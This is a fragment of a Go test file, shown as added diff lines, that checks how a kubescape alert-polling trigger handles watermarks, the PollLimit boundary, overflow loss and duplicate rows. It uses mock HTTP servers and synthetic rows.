+ t.Fatalf("Subscribe: %v", err)
+ }
+
+ var emitted []kubescape.Event
+ timeout := time.NewTimer(3 * time.Second)
+ defer timeout.Stop()
+ for len(emitted) < expectedCount {
+ select {
+ case ev, ok := <-ch:
+ if !ok {
+ return emitted
+ }
+ emitted = append(emitted, ev)
+ case <-timeout.C:
+ t.Fatalf("trigger emitted %d events, want %d (missed rows under PollLimit=%d)",
+ len(emitted), expectedCount, pollLimit)
+ }
+ }
+ return emitted
+}
+
+// makeRow constructs a minimally-valid kubescape Row. event_time must
+// already be in nanos for normalizeEventTimeNanos to be a no-op on it
+// (>= 1e13 ⇒ already nanos), making the corpus's natural ordering match
+// the SQL's ORDER BY chNormEventTimeNanos.
+func makeRow(eventTimeNanos uint64, ruleID, pod string) kubescape.Row {
+ k8sJSON, _ := json.Marshal(map[string]string{
+ "podName": pod,
+ "podNamespace": "ns-" + pod,
+ })
+ procJSON, _ := json.Marshal(map[string]any{
+ "processTree": map[string]any{
+ "pid": 100 + eventTimeNanos%900,
+ "comm": "proc-" + ruleID,
+ },
+ })
+ return kubescape.Row{
+ EventTime: eventTimeNanos,
+ RuleID: ruleID,
+ Hostname: "node-1",
+ K8sDetails: string(k8sJSON),
+ ProcessDetails: string(procJSON),
+ }
+}
+
+// fingerprintSet collects rowFingerprint over a row slice. Set
+// equality is what the oracle checks: trigger's emitted-event order
+// is per-poll, but the UNION of polls must match the corpus minus
+// dups, regardless of how the polls sliced it up.
+func fingerprintSet(rows []kubescape.Row) map[string]bool {
+ out := make(map[string]bool, len(rows))
+ for _, r := range rows {
+ out[rowFingerprint(r)] = true
+ }
+ return out
+}
+
+// eventFingerprintSet derives the same set via reconstructing each
+// emitted Event's source Row. The (EventTime, RuleID) tuple is the
+// natural key — multiple boundary rows share EventTime but their
+// RuleIDs are unique in our test corpora (and unique-by-rule in the
+// production kubescape feed, where two events at the same nanosecond
+// have at minimum distinct rule IDs).
+func eventFingerprintSet(rows []kubescape.Row, events []kubescape.Event) map[string]bool {
+ type key struct {
+ et uint64
+ rule string
+ }
+ idx := map[key]kubescape.Row{}
+ for _, r := range rows {
+ idx[key{r.EventTime, r.RuleID}] = r
+ }
+ out := make(map[string]bool, len(events))
+ for _, e := range events {
+ if r, ok := idx[key{e.EventTime, e.RuleID}]; ok {
+ out[rowFingerprint(r)] = true
+ }
+ }
+ return out
+}
+
+// TestOracle_TriggerEmitsNaiveSet_StaggeredCorpus drives 50 rows
+// scattered across event_times with NO duplicates; PollLimit=10 forces
+// ≥5 polls, exercising watermark advancement repeatedly. The trigger
+// must emit exactly the 50 rows the naive reference computes.
+func TestOracle_TriggerEmitsNaiveSet_StaggeredCorpus(t *testing.T) {
+ const base = uint64(1_700_000_000_000_000_000)
+ var corpus []kubescape.Row
+ for i := uint64(0); i < 50; i++ {
+ // Unique event_times, 1 ms apart.
+ corpus = append(corpus, makeRow(base+i*1_000_000, fmt.Sprintf("R%03d", i), fmt.Sprintf("pod-%d", i)))
+ }
+ naive, _ := naiveTriggerReference(corpus, 0)
+ got := runTriggerAgainstCorpus(t, corpus, 10, len(naive))
+
+ want := fingerprintSet(naive)
+ have := eventFingerprintSet(corpus, got)
+ if len(want) != len(have) {
+ t.Fatalf("set sizes differ: want=%d have=%d", len(want), len(have))
+ }
+ for fp := range want {
+ if !have[fp] {
+ t.Fatalf("trigger missed fingerprint %s (naive emitted, trigger didn't)", fp)
+ }
+ }
+}
+
+// TestOracle_PollLimitSaturation_AtCapacity is the regression guard for
+// PR #67 (dfdc465a9): when EXACTLY PollLimit rows share the boundary
+// event_time, every one of them must emit, and the cursor must clear
+// the boundary for the next-event_time row that follows. Equivalent to
+// the naive reference on this corpus shape.
+//
+// (The complementary OVERFLOW case — >PollLimit boundary rows — is the
+// documented data-loss trade-off in PR #67's commit message: the
+// trigger advances the watermark by 1ns to escape the infinite-stuck
+// boundary, and the surplus rows beyond PollLimit at that nanosecond
+// are intentionally not re-delivered. TestOracle_PollLimitOverflow
+// below pins THAT behaviour so any future fix that recovers the lost
+// rows must update both tests together.)
+func TestOracle_PollLimitSaturation_AtCapacity(t *testing.T) {
+ const base = uint64(1_700_000_000_000_000_000)
+ const pollLimit = 5
+ var corpus []kubescape.Row
+ for i := uint64(0); i < pollLimit; i++ { // EXACTLY PollLimit at the boundary
+ corpus = append(corpus, makeRow(base, fmt.Sprintf("R%03d", i), fmt.Sprintf("pod-%d", i)))
+ }
+ corpus = append(corpus, makeRow(base+1_000_000, "Rfollow", "pod-follow"))
+
+ naive, _ := naiveTriggerReference(corpus, 0)
+ if len(naive) != pollLimit+1 {
+ t.Fatalf("naive should emit %d; got %d", pollLimit+1, len(naive))
+ }
+ got := runTriggerAgainstCorpus(t, corpus, pollLimit, len(naive))
+
+ want := fingerprintSet(naive)
+ have := eventFingerprintSet(corpus, got)
+ for fp := range want {
+ if !have[fp] {
+ t.Fatalf("PollLimit-at-capacity lost fingerprint %s (PR #67 regression)", fp)
+ }
+ }
+}
+
+// TestOracle_PollLimitOverflow_DocumentsLossBound asserts the
+// documented trade-off in PR #67 (dfdc465a9): when >PollLimit rows
+// share the boundary event_time, the trigger emits the FIRST PollLimit
+// of them, then the 1ns escape advances the cursor past the rest. The
+// surplus rows are lost — by design — to avoid an infinite stuck
+// boundary.
+//
+// Why this is an explicit test, not a TODO comment: if a future PR
+// "fixes" the overflow loss (e.g. by adding a secondary ORDER BY key),
+// this test will fail loudly, which is the right signal — both the
+// fix AND this assertion need to update together. Without this guard,
+// the loss can regress silently in either direction.
+func TestOracle_PollLimitOverflow_DocumentsLossBound(t *testing.T) {
+ const base = uint64(1_700_000_000_000_000_000)
+ const pollLimit = 5
+ const overflow = 25
+ var corpus []kubescape.Row
+ for i := uint64(0); i < overflow; i++ { // 5× PollLimit at one event_time
+ corpus = append(corpus, makeRow(base, fmt.Sprintf("R%03d", i), fmt.Sprintf("pod-%d", i)))
+ }
+ corpus = append(corpus, makeRow(base+1_000_000, "Rfollow", "pod-follow"))
+
+ srv := mockKubescapeLogs(t, corpus)
+ defer srv.Close()
+ tr, err := New(Config{
+ Endpoint: srv.URL, Hostname: "node-1",
+ PollInterval: 5 * time.Millisecond, PollLimit: pollLimit,
+ })
+ if err != nil {
+ t.Fatalf("New: %v", err)
+ }
+ ctx, cancel := context.WithCancel(context.Background())
+ defer cancel()
+ ch, _ := tr.Subscribe(ctx)
+
+ // Wait for the trigger to settle: pollLimit emissions at the
+ // boundary, then the escape, then Rfollow. Total = pollLimit+1.
+ // Anything more would mean the surplus came through (an upgrade),
+ // anything less would mean the escape ate Rfollow too (a regression).
+ collected := []kubescape.Event{}
+ deadline := time.After(2 * time.Second)
+COLLECT:
+ for len(collected) < pollLimit+1 {
+ select {
+ case ev := <-ch:
+ collected = append(collected, ev)
+ case <-deadline:
+ // Labelled break — bare `break` only exits the `select`,
+ // leaving the `for` to busy-spin on the already-closed
+ // deadline channel. (CodeRabbit r-#68/oracle_test.go.)
+ break COLLECT
+ }
+ }
+ // Extra-drain pass to catch any late surplus emissions.
+ timeout := time.NewTimer(200 * time.Millisecond)
+ defer timeout.Stop()
+DRAIN:
+ for {
+ select {
+ case ev := <-ch:
+ collected = append(collected, ev)
+ case <-timeout.C:
+ break DRAIN
+ }
+ }
+
+ if len(collected) != pollLimit+1 {
+ t.Fatalf("emitted %d events; want exactly %d (PollLimit at boundary + Rfollow). "+
+ "More ⇒ overflow recovery landed (good — update this test). "+
+ "Less ⇒ Rfollow lost (regression in the 1ns escape).",
+ len(collected), pollLimit+1)
+ }
+ // Of the pollLimit boundary emissions, all should be DISTINCT.
+ seen := map[uint64]map[string]bool{} // event_time → ruleID seen
+ for _, e := range collected {
+ if seen[e.EventTime] == nil {
+ seen[e.EventTime] = map[string]bool{}
+ }
+ if seen[e.EventTime][e.RuleID] {
+ t.Fatalf("duplicate emission RuleID=%s at event_time=%d", e.RuleID, e.EventTime)
+ }
+ seen[e.EventTime][e.RuleID] = true
+ }
+}
+
+// TestOracle_BoundaryDedup_NoDuplicates probes the cross-poll dedup
+// machinery: identical rows are returned in two consecutive polls
+// (mock holds state, sees the second poll's watermark equals the first
+// poll's max event_time, and re-returns the boundary row). The trigger's
+// seenAtBoundary map must filter the duplicate.
+func TestOracle_BoundaryDedup_NoDuplicates(t *testing.T) {
+ const base = uint64(1_700_000_000_000_000_000)
+ corpus := []kubescape.Row{
+ makeRow(base, "R001", "pod-a"),
+ makeRow(base, "R002", "pod-b"), // same event_time
+ makeRow(base+1_000_000, "R003", "pod-c"),
+ }
+ // mock with rate-limited delivery: returns first 2 on first poll,
+ // then on the second poll (watermark = base) returns ALL 3 again,
+ // then exhausts. The trigger should emit each row exactly once.
+ srv := stutteringMock(t, corpus, base)
+ defer srv.Close()
+
+ tr, err := New(Config{
+ Endpoint: srv.URL,
+ Hostname: "node-1",
+ PollInterval: 5 * time.Millisecond,
+ PollLimit: 10,
+ })
+ if err != nil {
+ t.Fatalf("New: %v", err)
+ }
+ ctx, cancel := context.WithCancel(context.Background())
+ defer cancel()
+ ch, _ := tr.Subscribe(ctx)
+
+ emitted := map[string]int{}
+ deadline := time.After(2 * time.Second)
+ for len(emitted) < 3 {
+ select {
+ case ev := <-ch:
+ // Reconstruct the row by event_time + RuleID to count
+ // per-fingerprint occurrences.
+ emitted[ev.RuleID]++
+ case <-deadline:
+ t.Fatalf("emitted=%v, want 3 unique events", emitted)
+ }
+ }
+ for rule, n := range emitted {
+ if n != 1 {
+ t.Fatalf("rule %s emitted %d times, want 1 (boundary-dedup regression)", rule, n)
+ }
+ }
+}
+
+// stutteringMock returns the first 2 rows on the first poll and ALL 3
+// on every subsequent poll — simulating CH returning a duplicate at
+// the watermark boundary (e.g., because a new row landed with the same
+// event_time after our previous poll's cursor advanced past it).
+func stutteringMock(t *testing.T, corpus []kubescape.Row, _ uint64) *httptest.Server {
+ t.Helper()
+ var mu sync.Mutex
+ callCount := 0
+ re := regexp.MustCompile(`\) >= (\d+) ORDER BY .* LIMIT (\d+)`)
+ return httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+ mu.Lock()
+ callCount++
+ thisCall := callCount
+ mu.Unlock()
+ q := r.URL.Query().Get("query")
+ m := re.FindStringSubmatch(q)
+ if m == nil {
+ http.Error(w, "unexpected SQL", http.StatusBadRequest)
+ return
+ }
+ watermark, _ := strconv.ParseUint(m[1], 10, 64)
+ var send []kubescape.Row
+ if thisCall == 1 {
+ // Only the first 2 (same event_time as the boundary row).
+ send = corpus[:2]
+ } else {
+ send = rowsForPoll(corpus, watermark, 10)
+ }
+ for _, row := range send {
+ b, _ := json.Marshal(map[string]any{
+ "RuleID": row.RuleID,
+ "RuntimeK8sDetails": row.K8sDetails,
+ "RuntimeProcessDetails": row.ProcessDetails,
+ "event_time": strconv.FormatUint(row.EventTime, 10),
+ "hostname": row.Hostname,
+ })
+ _, _ = w.Write(b)
+ _, _ = w.Write([]byte("\n"))
+ }
+ }))
+}